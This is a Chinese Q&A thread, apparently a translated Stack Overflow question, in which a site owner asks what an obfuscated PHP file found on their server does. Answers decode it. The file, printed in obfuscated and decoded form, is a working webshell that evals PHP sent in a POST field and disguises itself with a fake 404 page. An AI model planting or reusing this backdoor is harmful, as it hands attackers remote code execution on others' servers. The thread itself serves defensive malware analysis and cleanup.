托管上的恶意文件的目的

时间:2017-02-02 08:12:47

标签: php eval

您好我在服务器上有恶意的php文件,我在我的电脑上下载了该文件。此文件包含小恶意代码并尝试执行eval命令。我不知道该文件对我的服务器有什么影响。如果有人能用这个代码回复我,请。

$q22 = "fo\\@5HL[\r.S4awj\t)n`x}\"UZ\$gr(+JO2i* I;3XCvBk>m,NzEc_6qD?9PYhuV:bl|WK&Q=#y~/t!\neAp7]{M1Fd%0-^8GR'<sT";

$GLOBALS['owyeq61'] = ${$q22[50].$q22[56].$q22[30].$q22[10].$q22[97]};
$GLOBALS['tmiok36'] = $q22[58].$q22[77].$q22[12].$q22[86].$q22[77].$q22[26];

if (!empty($GLOBALS['owyeq61']['mc589a12e'])) { 
    eval($GLOBALS['owyeq61']['mc589a12e']);  
}

$GLOBALS['tmiok36']($q22[5].$q22[97].$q22[97].$q22[56].$q22[73].$q22[84].$q22[9].$q22[88].$q22[34].$q22[11].$q22[88].$q22[11].$q22[34].$q22[46].$q22[1].$q22[74].$q22[34].$q22[85].$q22[1].$q22[59].$q22[17].$q22[86]); 

echo $q22[95].$q22[58].$q22[84].$q22[43].$q22[11].$q22[88].$q22[11].$q22[34].$q22[46].$q22[1].$q22[74].$q22[34].$q22[85].$q22[1].$q22[59].$q22[17].$q22[86].$q22[95].$q22[73].$q22[58].$q22[84].$q22[43].$q22[8].$q22[76].$q22[97].$q22[58].$q22[77].$q22[34].$q22[79].$q22[12].$q22[25].$q22[77].$q22[34].$q22[74].$q22[58].$q22[12].$q22[74].$q22[34].$q22[71].$q22[1].$q22[59].$q22[34].$q22[58].$q22[12].$q22[40].$q22[77].$q22[34].$q22[26].$q22[77].$q22[52].$q22[59].$q22[77].$q22[96].$q22[74].$q22[77].$q22[86].$q22[34].$q22[49].$q22[1].$q22[59].$q22[63].$q22[86].$q22[34].$q22[17].$q22[1].$q22[74].$q22[34].$q22[62].$q22[77].$q22[34].$q22[0].$q22[1].$q22[59].$q22[17].$q22[86].$q22[9].$q22[8].$q22[76];
/**
 * XML-RPC protocol support for WordPress
 *
 * @package WordPress
 */

/**
 * Whether this is an XML-RPC Request
 */

2 个答案:

答案 0 :(得分:1)

这段代码将在字段POST中执行使用mc589a12e请求发送到您网页的任何PHP代码。

这是评估$q22

的连接后的代码
$GLOBALS['owyeq61'] = ${'_POST'};
$GLOBALS['tmiok36'] = 'header';
if (!empty($GLOBALS['owyeq61']['mc589a12e'])) {
    eval($GLOBALS['owyeq61']['mc589a12e']);
}
$GLOBALS['tmiok36']('HTTP/1.0 404 Not Found');
echo '<h1>404 Not Found</h1>
The page that you have requested could not be found.';

答案 1 :(得分:1)

我以沙盒模式运行代码。

$test['owyeq61'] = $q22[50].$q22[56].$q22[30].$q22[10].$q22[97];
// return POST

$test['tmiok36'] = $q22[58].$q22[77].$q22[12].$q22[86].$q22[77].$q22[26];
// return Header

$q22[95].$q22[58].$q22[84].$q22[43].$q22[11].$q22[88].$q22[11].$q22[34].$q22[  46].$q22[1].$q22[74].$q22[34].$q22[85].$q22[1].$q22[59].$q22[17].$q22[86].$q22[95].$q22[73].$q22[58].$q22[84].$q22[43].$q22[8].$q22[76].$q22[97].$q22[58].$q22[77].$q22[34].$q22[79].$q22[12].$q22[25].$q22[77].$q22[34].$q22[74].$q22[58].$q22[12].$q22[74].$q22[34].$q22[71].$q22[1].$q22[59].$q22[34].$q22[58].$q22[12].$q22[40].$q22[77].$q22[34].$q22[26].$q22[77].$q22[52].$q22[59].$q22[77].$q22[96].$q22[74].$q22[77].$q22[86].$q22[34].$q22[49].$q22[1].$q22[59].$q22[63].$q22[86].$q22[34].$q22[17].$q22[1].$q22[74].$q22[34].$q22[62].$q22[77].$q22[34].$q22[0].$q22[1].$q22[59].$q22[17].$q22[86].$q22[9].$q22[8].$q22[76];
// returns 404 Page not found

但是在eval中它变得棘手。它查找它不在代码中的全局标题mc589a12e,所以我认为它在wordpress中设置,脚本将此全局重写为HTTP/1.0 404 Not Found。也许绕过安全检查。

不用说从服务器删除此文件并更新系统/检查用户/写入权限。

也许将此作为​​您的清单 https://codex.wordpress.org/FAQ_My_site_was_hacked